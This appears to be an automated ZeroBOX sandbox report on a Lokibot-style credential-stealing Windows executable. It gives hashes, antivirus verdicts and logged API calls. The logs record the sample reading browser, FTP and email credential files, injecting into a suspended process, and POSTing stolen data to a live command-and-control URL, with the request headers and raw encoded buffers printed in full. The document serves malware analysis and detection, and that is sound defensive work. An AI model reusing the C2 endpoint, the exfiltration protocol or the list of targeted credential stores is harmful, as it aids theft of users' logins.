popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

csrss.exe

NSIS Malicious Library UPX PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Jan. 19, 2022, 11:30 a.m. Jan. 19, 2022, 11:37 a.m.
Size 284.4KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 a4c13722c598f133907c003dd0672743
SHA256 1f105502087993709840bc30bc022d2d5b54e4db4351435e44034e26a4d48fbb
CRC32 24AAD4B5
ssdeep 6144:owVXeCM0MYgCJsRVQIbqXtNskez1jERTbt/t/:JXLcxCiOIbUtTT//
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer

Name Response Post-Analysis Lookup
secure01-redirect.net
A 93.189.42.148
93.189.42.148
IP Address Status Action
164.124.101.2 Active Moloch
93.189.42.148 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features POST method with no referer header, HTTP version 1.0 used suspicious_request POST http://secure01-redirect.net/gc7/fre.php
request POST http://secure01-redirect.net/gc7/fre.php
request POST http://secure01-redirect.net/gc7/fre.php
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2264
stack_dep_bypass: 1
stack_pivoted: 0
heap_dep_bypass: 1
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0018e000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceW

 number_of_free_clusters: 2499740
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 2499740
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Login Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
file C:\Users\test22\AppData\Local\Temp\nsf888B.tmp\qtaqfs.dll
file C:\Users\test22\AppData\Local\Temp\nsf888B.tmp\qtaqfs.dll
Time & API Arguments Status Return Repeated

MoveFileWithProgressW

 newfilepath_r: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
flags: 1
oldfilepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe
newfilepath: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
oldfilepath: C:\Users\test22\AppData\Local\Temp\csrss.exe
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2404
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000204
1 0 0
file C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file C:\Users\test22\AppData\Roaming\FTPGetter\servers.xml
file C:\Users\test22\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
file C:\Users\test22\AppData\Roaming\wcx_ftp.ini
file C:\Windows\wcx_ftp.ini
file C:\Users\test22\wcx_ftp.ini
file C:\Windows\32BitFtp.ini
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Program Files (x86)\FileZilla\Filezilla.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
file C:\Users\test22\AppData\Roaming\FileZilla\filezilla.xml
registry HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry HKEY_CURRENT_USER\Software\Martin Prikryl
registry HKEY_LOCAL_MACHINE\Software\Martin Prikryl
file C:\Users\test22\AppData\Roaming\.purple\accounts.xml
Time & API Arguments Status Return Repeated

connect

 ip_address: 93.189.42.148
socket: 456
port: 80
1 0 0

send

 buffer: POST /gc7/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 82B04A68 Content-Length: 3717 Connection: close
socket: 456
sent: 246
1 246 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCkô/086627BC41D896D6F4DE8430FjcUaSË !ᘠè/ƒŸ@ Moz8il¼aUser×P>®fðnc? ?DOÜNÝTÞEI »H«SóFËLê.ˆ¾¹fŽyouámakeðchìnogr¦toöiÍf°ž*w¨Ø apãëãc·¾‡onÌ=rwuñÿ*`,GÐ@?¢w¯¬b oQvŠó—×t6 E¿2x:sœ‹)ToC·JÅp-Èõvøluú,¦¦ÙpkiŠr:2”-¸odify†tNða¨aUIü(ì.rg«“b lt:cØËgFJ‚brÒwE+);¡©F²t†Cw·ÙKnu‰A.j;@$|r«“µ .X!_!¤("SÑ.ÿµdÒ4ÞØ|ofmÔr(d"³ý!#ãCÎ.å³sÊU †Tim{õ-bùck·€Þ¯Þé';óÌ;r›16043}594S¿GMó7Ä;›HÒrAŸ- “gýÏõ;Pt!29ÞHr¢I§$-}¶Ž¬ÄpoÇ8éºEñëNT¦£ PwyM_3ushdµ y5ZLå@Éj8Ó!UÐ95ó³xAvð !nu½TY H½M ÐP£8¤oH^¤3Dÿç2·8<tCê0æ9÷Ø4EßæzU«{¿ÈÌL &lªgfŸ s1òn(Q. F”X˜gøk÷ém4MtY_ÕØq52)387TÍp˜fyc72åGå*3U&jNéy#um_HFt³Q19íDf—wóPI Rq§Ù© {iÌ6Ž»m:ÒtóϹOŸæÆnc247̆ƒ˜‡êduf£¨»1Ñ85·Wc…fǐU6¿T"Oùšg£C0Í+FŠ.7Ã-mÌÇN]a¥ê‰èé#¶úgJM© t‡U҅^m'¦1홈"¿H*pRÔdagéV]¦diUHµz-YÞ+J:/4eýbÕ,z’&½ºè)BA˜D/SeÇýê5~9uiÙÏ,sÊÅ3m&5vÊlDz:L.©oj=i&“·ÌòdEϊh?ÓKA@S.ubsu*PsAé¦N+”VŠ²1·KÇND1…Ÿ–T$ìË;¿_¼z‘SÉxt<{Ãp‚ ThP<(ID9idBˆžð-¨s@ž­e. gEÖIbz,kŸk¥kCÉuÓ+08RÉbÓ6ScÛæY+32-RCÚArtýwx\«´¶nô/AGxÊ66ԂÑaêgóÜò*© 3BšApSBdŽdIW3©0 1w9ñ!ŽÉ8þ¿;©>Îa78.4É0^3ÍP Ñf ¤m§8qpe S®O%r‘Òs3Îô-3sâSEL^z f{\¸¦EÃ:1,O #s{}k|YwñbK8u÷zd¦NÔ4\5a( M@¥"¤'Œ&bûÏ·ÏûDdÁ2€Kf80w5x-õ×Ç_6¯9_ädcÃX×/]6|ýí L”“Òr#G98‹3 1a-Ùf,zcֆ•˜5 a7ã÷mª06¢˜G8goóil€æXW.G™†4Aü3cqܽ‚éÂeËÜ÷oò‡ßÏ:¶¯agŽ¥g>DH¿ 70fvËoˆ’Yˆa½hÒ¿g{eŽÞa葊DÂ~ȼ-kçOI“ ôb† 4e?6 Ia4b¥/<d{°,‚ØI` um­Hhýfb2€Ëd0°ƒH¬æUöC{³7v0îc“wik)‰HOa>J62äêÂBb-fFf‚›œˆc’72(´aƒÉ68Ê5ÕJöbKâÌAEt8`CMâ7„Ëeƒõ8v†£æ¾šf5š6¯ªƒ'ÔAÒ13Yß 0n“mXf3Éd g55eTh”ä"Üñ%…ÞB¿Ùê3LEÅi‹f ÜdQÞ£¾sp­)˜DuMC©s²…2qx ãyUrÏåj:“ lûdÕj9“[E¾rn.9Žs¾¯+ëBñß°øbÐ2¯GßÐ:ïFߐ9ïFߑ9ýÙ7mYZ-ü…ÔH5]£Ïh4]£Êh4ÔþiLz†­1“ *´mË 2´9È 1´9Å1ÅvaEÝbl(½7¥)R<¼…1z»…0zº0gx.cÛ8h-Óu>bdr¸Cq1°HiyBâJY·\@È¢/‰åì….0xŒ4`;>Ý-ǁð6.1ä7ê0ã½ 385Kwfefï-d2Ÿá¡>^‚@jp7iêGs)s25XdiÅct˜ß(„idÈDéïÕæJÞ·27¡Qi0 l¾Dmz™"q¬shíÜÿ‡n-US‚koEEJùRØÆ÷iE‘™ý 2mðg.pu¾IXes-ÝÑ_f=ßkP6m;Ì~bÓa\ºckµ×?6ϐ)12z ˜jŠ11/$H¬9Ð 1t7«<2ÈNhݪ;ΉæT\.7Ñnâ2=©®Key‹øÐ'æé+ rȑhßSÝbz"•AjçiŽþöÂUsEûåå1øŸÞ‡smtÚ1OR³K¾íi‚‰_ð-ßP<s‘»VŒšÞ®ú´w»©© ,S?wÍ¡4֕‰jËæyž¬5”_mšg'$bäx¸m;n`dy@L‘'%20FL*)/A3<«"]ú^lºhsMl×é5XÅafiôQD1Ž.YŠsZmL` kÉm̘R0@¨f˜>‡—ÑS¡wU܍’ÒCPŠNtØË(BoUµH¢¿DÓËèT¸tJpÅ].óžtU{ѐ¢ÒQ@"HB<©nsår"-ëÑnÛzeTo)… yk),np¤ã_ÜoedÞC:\oK§ž„q2Ò°D—Œ>Rwo̯gT•–œËPyu°cg8t\0267(ý-ÛÌ0ΚÌ4NË"¯~m\hÊ[Q D]3~]o•7MÞ§ÕB«‹^1orå0SÝì+hº"™Õc,µ–§Y´_6n²&Ë,ŒU¡» ÇãÑp'>¯G|S<© 15­¸MÑÑ|é­C1ô£jC-12 …íy?¼æ ±— t>šÐÚ¼/§Nøho¢ÐÔ¿è=§&TF.¶Í'ìQ2èl 99Ò<­u개인€í´ë!”tnBx÷D0.—Á<mAc“<TÿŸ©¯Æµ¹©^…›ÒÖU¿Ë„ûìbkÊÆiž|/ts«#Ëb&\k•y;1\®[2PB0¹§ÀFÒB6©oE†nCüqŠSšFTé»Ír6<›3W¬kM¢-©‘–/±)/E|›!H4_&÷2Ù¤{%ðkH£.)Ø"–ü­MHJ_¦¿õ2é ¡1¼NִϪ¸2‡8úóh¤ cs$kDšÇCõi±Ò9½Šhow°§•2ÖÞ!54ñWî·2ª-œOþtuÎ}d¾Õy3K'—„ýýå’TtRtkD\7ª½òg7loJ©F½['K249CôË6©f-ob¿¨Óµ‰? 5÷1ŽÛñ7bÏÏE"/\‰i&xNžhW"?ù3€J&ú78_Í×à£d¢2K½[dÈ H¤•’!]çcÃfp·»k.»gÍk¸ quoúhiP-ïëè0¯Sr=*h}CÛ© 2uooׄÇçwi:Û5Z;=3xg $æÒûÒVa¼ò¾ÃC#F‹0B6í 4중ʚ”3W2ió9Œ/ˆ2X§æžB¥è3‡´Ê/iˆ3Rq¨¡3\R4iÍ3Ö.6iÂ할¼.ˆ5z ÐÒ¡6t¥;—°ê¸œ~K›ï—¤Ž.píw.Ä»“io¶µ Êûvo'm¤IPïAc3ĒÕ.¡½;_tçXàŸ7B¡;‹hi‘Iygôy-/„lùD—ò]r_cu(öxe5/ÙhÆþú8MäüÿmžŒûMb[iƒZ†Åлgok¢õJÔJΓ“ã“¨Ý)vì;~µŽ¥)è1rÔ½o<ZÚ¾Ð/õ¨®Ÿ:Z˯ô9<;™ÈOVÐ*ä-_*ށÐ5䪛(r¯Y5ÓOÅÑzÆj¤°{.OC$SPòy0O(“ç *pƒœy¤ÞÈg‘#S8È|õáA(®&m­ŽÞ%y">FZ™ :݌kNl!S:¥’½ ˆ¬Q5ú Käˆêr±?´>J•G/d‰¤…lug¿Œç~m©ÖñSTf—)xâ{3b|£å§V-nõ/Äãš0UŽæûDÜàWcéŠÂ2}ô\Æy—Mf¤H_!>©+ÈG ïÊpwô§âÌW{-1ʀ2;þ± _n ç\Zu28\Û9n4@ºN³ÕB|мïN¥}û§¬-±ã·)™{lÍØg<EcMZµƒŒj$­-i[•~O›z'uRÆ}d¼KØcù_S´úeÖ¬ƒÐK«×}9Þlx¾&wgh_ý&½Ñ©½‰^Ê~GRéTêvPD÷1Âáp"þWR¹2¹ÓÅ”AËO´û ÈvOm£ä:FýôS'qlÓRu²Ç~¡7Ôm5©³ \"½ ,ÒÙ$ê‰cozMxÄlkÓHø´ê2%dùº¯˜Bc0âjâÊ-:Ñêº1"_XÚ1~f4F¿2ÞDY]ó
socket: 456
sent: 3717
1 3717 0

connect

 ip_address: 93.189.42.148
socket: 456
port: 80
1 0 0

send

 buffer: POST /gc7/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 82B04A68 Content-Length: 186 Connection: close
socket: 456
sent: 245
1 245 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCÆ+086627BC41D896D6F4DE8430Fcateg
socket: 456
sent: 186
1 186 0

connect

 ip_address: 93.189.42.148
socket: 456
port: 80
1 0 0

send

 buffer: POST /gc7/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 82B04A68 Content-Length: 159 Connection: close
socket: 456
sent: 245
1 245 0

send

 buffer: (ckav.ru test22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F
socket: 456
sent: 159
1 159 0

connect

 ip_address: 93.189.42.148
socket: 460
port: 80
1 0 0

send

 buffer: POST /gc7/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 82B04A68 Content-Length: 159 Connection: close
socket: 460
sent: 245
1 245 0

send

 buffer: (ckav.ru test22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F
socket: 460
sent: 159
1 159 0
file C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird\78.4.0 (ko)\Main
registry HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761\Email
Process injection Process 2264 called NtSetContextThread to modify thread in remote process 2404
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 1999372740
registers.esp: 1638384
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000200
process_identifier: 2404
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2408
thread_handle: 0x00000200
process_identifier: 2404
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\csrss.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000204
1 1 0
Cynet Malicious (score: 100)
FireEye Trojan.NSISX.Spy.Gen.2
Cybereason malicious.2c598f
Arcabit Trojan.NSISX.Spy.Gen.2
BitDefenderTheta Gen:NN.ZedlaF.34160.iu4@aC9tR@pi
Cyren W32/Injector.ASU.gen!Eldorado
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Win32/Injector.EQXY
Kaspersky UDS:Backdoor.Win32.Androm.gen
BitDefender Trojan.NSISX.Spy.Gen.2
SUPERAntiSpyware Trojan.Agent/Gen-AdInst
MicroWorld-eScan Trojan.NSISX.Spy.Gen.2
Avast Win32:PWSX-gen [Trj]
Emsisoft Trojan.NSISX.Spy.Gen.2 (B)
Ikarus Trojan.NSIS.Agent
Microsoft PWS:MSIL/Lokibot.GG!MTB
GData Zum.Androm.1
VBA32 BScope.Trojan.Agentb
MAX malware (ai score=81)
Malwarebytes Malware.AI.2223781040
APEX Malicious
SentinelOne Static AI - Suspicious PE
Fortinet W32/Kryptik.EQXP!tr
AVG Win32:PWSX-gen [Trj]
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2408
thread_handle: 0x00000200
process_identifier: 2404
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\csrss.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000204
1 1 0

NtGetContextThread

 thread_handle: 0x00000200
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2404
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000204
1 0 0

NtSetContextThread

 registers.eip: 1999372740
registers.esp: 1638384
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000200
process_identifier: 2404
1 0 0

NtResumeThread

 thread_handle: 0x00000110
suspend_count: 1
process_identifier: 2404
1 0 0